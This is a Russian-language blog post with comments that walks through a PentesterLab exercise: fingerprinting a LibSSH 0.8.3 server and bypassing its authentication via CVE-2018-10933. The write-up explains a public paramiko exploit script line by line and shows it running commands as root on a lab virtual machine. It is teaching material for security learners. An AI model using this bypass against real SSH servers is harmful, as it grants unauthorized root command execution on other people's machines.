Я начинаю цикл статей, посвященных разбору задач сервиса pentesterlab. К сожалению, у меня нет Про-версии курса, поэтому я ограничен только списком свободных задач. Каждый кейс — система, содержащая уязвимость, которой необходимо воспользоваться для достижения определенной цели.


LibSSH auth bypass


Кейс включает в себя хост (виртуальную машину) с запущенной службой SSH. Задача состоит в получении контроля над машиной через обход аутентификации по SSH. Представим, что мы не знаем, какая именно реализация SSH стоит на сервере и какую именно уязвимость нам надо эксплуатировать.

Как это узнать? Первое, что приходит в голову — использовать сетевой сканер nmap с опцией -sV:

~$ nmap 192.168.0.89 -p 22 -sV
Nmap scan report for 192.168.0.89
Host is up (0.00100s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL,
SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");

В отчете nmap сообщает, что служба ему неизвестна. Но посмотрев отпечатко службы, мы можем увидеть идентификационную строку сервера, из которой очевидно, что порт прослушивает LibSSH версии 0.8.3.
Вырезка из RFC-4253:
Сразу после установки соединения клиент и сервер обмениваются сообщениями вида:

SSH-protoversion-softwareversion comments

Поле protoversion указывает версию протокола. Поскольку сейчас актуальна вторая версия SSH, поле должно содержать значение «2.0». Поле softwareversion содержит название и версию реализации протокола используется в основном для инициирования расширений, совместимости и индикации возможностей реализации. Поле comments является необязательным, в нем указывается дополнительная информация, которая может помочь при решении пользовательских проблем.
Аналогично, эту строку мы могли получить с помощью утилиты telnet:

$ telnet 192.168.0.89 22
Trying 192.168.0.89...
Connected to 192.168.0.89.
Escape character is '^]'.
SSH-2.0-libssh_0.8.3

Bye ByeConnection closed by foreign host.

Или получить через WireShark:

image

Поиски в гугле приводят нас к уязвимости CVE-2018-10933, которой подвержены версии LibSSH с 0.7.6 по 0.8.4. Чтобы ее понять, я кратко расскажу про аутентификацию клиента по протоколу SSH. После установки соединения клиент и сервер договариваются о некотором секрете, называемом Session Key", который будет использоваться для шифрования в течение сессии. Далее, аутентификацию можно разделить на несколько этапов, проходящих в зашифрованном виде:

  1. Клиент отправляет серверу сообщение SSH_MSG_USERAUTH_REQUEST, содержащее имя пользователя, название метода аутентификации и дополнительные поля. Сервер может принять запрос или отклонить его сообщением с кодом SSH_MSG_USERAUTH_FAILURE, если предложенный метод аутентификации не поддерживается.
  2. Второй этап зависит непосредственно от метода аутентификации. В случае с аутентификацией по паролю, клиент отправляет пароль еще на первом этапе, а потом ждет подтверждение от сервера. При аутентификации по открытым ключам отправляется открытый ключ и подпись закрытым ключом. Сервер проверяет, есть ли у него такой пользователь, с таким открытым ключом, и соответствует ли открытый ключ подписи… Еще есть метод аутентификации по хосту, но используется редко, о всех методах аутентификации можно подробно прочитать в RFC-4252(русский, english)
  3. На третьем этапе клиент ожидает от сервера подтверждение аутентификации. Сервер отправляет сообщение с кодом SSH_MSG_USERAUTH_SUCSESS, если принимает аутентификацию или SSH_MSG_USERAUTH_FAILURE, если отвергает.

В участке кода, отвечающем за проверку кода сообщения есть баг, который позволяет серверу принять сообщение SSH_MSG_USERAUTH_SUCSESS. Использую эту брешь можно обойти процесс аутентификации.

На GitHUb'е есть много готовых эксплойтов для этой уязвимости, поэтому не будем изобретать велосипед и рассмотрим вот этот (выражаю благодарность автору скрипта).

Скрипт написан на питоне с использованием paramiko — модуля Python (2.7, 3.4+) протокола SSHv2, обеспечивающую функциональность как клиента, так и сервера. Разберем интересующие нас участки кода:

sock = socket.socket()
sock.connect((host,int(port)))

Этой строкой создается соккет и выполняется подключение к серверу. Что такое соккет очень хорошо рассказано тут.

message = paramiko.message.Message()

Этот класс сообщения SSH2. Представляет из себя набор чисел строк и переменные типа bool, собранные в один поток байтов.

transport = paramiko.transport.Transport(sock)
transport.start_client()

Этот класс является средством взаимодействия с протоколом SSH. Создаем его и сразу подключаемся в режиме клиента.

message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)

Параметр paramiko.common.cMSG_USERAUTH_SUCCESS представляет из себя число 52, помещенное в один байт. Это код сообщения MSG_USERAUTH_SUCCESS. Это сообщение мы и отправляем на сервер.

cmd = transport.open_session()
cmd.exec_command(command)

Создаем новый канал и сразу отправляем команду, записанную в виде строки в command.

out=cmd.makefile("rb",222048)
output=out.read()
out.close()
print (output)

Метод makefile создает файловую обертку вокруг канала. «rb» — режим доступа read byte, 222048 — размер буфера. В out попадает результат отправленной нами команды, который мы выводим через print(). С помощью out.close() мы завершаем соединение.

Осталось запустить этот скрипт, указав ip адрес предварительно скачанной и запущенной виртуалки, и команду, которую мы хотим выполнить на нашей жертве. Я попробовал указать разные команды, и вот результат:

#смотри имя учетной записи, под которой мы попали
$ ./LibAuth.py --host 192.168.0.89 -c whoami
b'root\n'

#время на сервере
$ ./LibAuth.py --host 192.168.0.89 -c date
b'Wed Mar  6 22:50:00 UTC 2019\n'

#переменные окружения
$ ./LibAuth.py --host 192.168.0.89 -c env
b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n'

Вывод результата немного корявый, при должном желании можно поправить. Ну а в целом — задачу можно считать выполненной.

To be continued…

Комментарии (6)


  1. l0rda
    07.03.2019 16:52

    Статья о том как запустить эксплоит?


    1. DVoropaev Автор
      07.03.2019 18:13

      статья о том, как запустить эксплоит была бы написана в одну строчку


      1. l0rda
        07.03.2019 19:18

        Да, много воды


        1. DVoropaev Автор
          07.03.2019 19:26

          например? Что в этой статье вам кажется лишним?


  1. rwf96
    09.03.2019 15:59

    А если команда nmap не выводит версию LibSSH, есть ли другие способы ее определить? Получаю вот такой результат команды nmap — Service detection performed. Please report any incorrect results at «nmap.org/submit».


    1. DVoropaev Автор
      09.03.2019 16:00

      эти методы расписаны в статье (wireshark, например)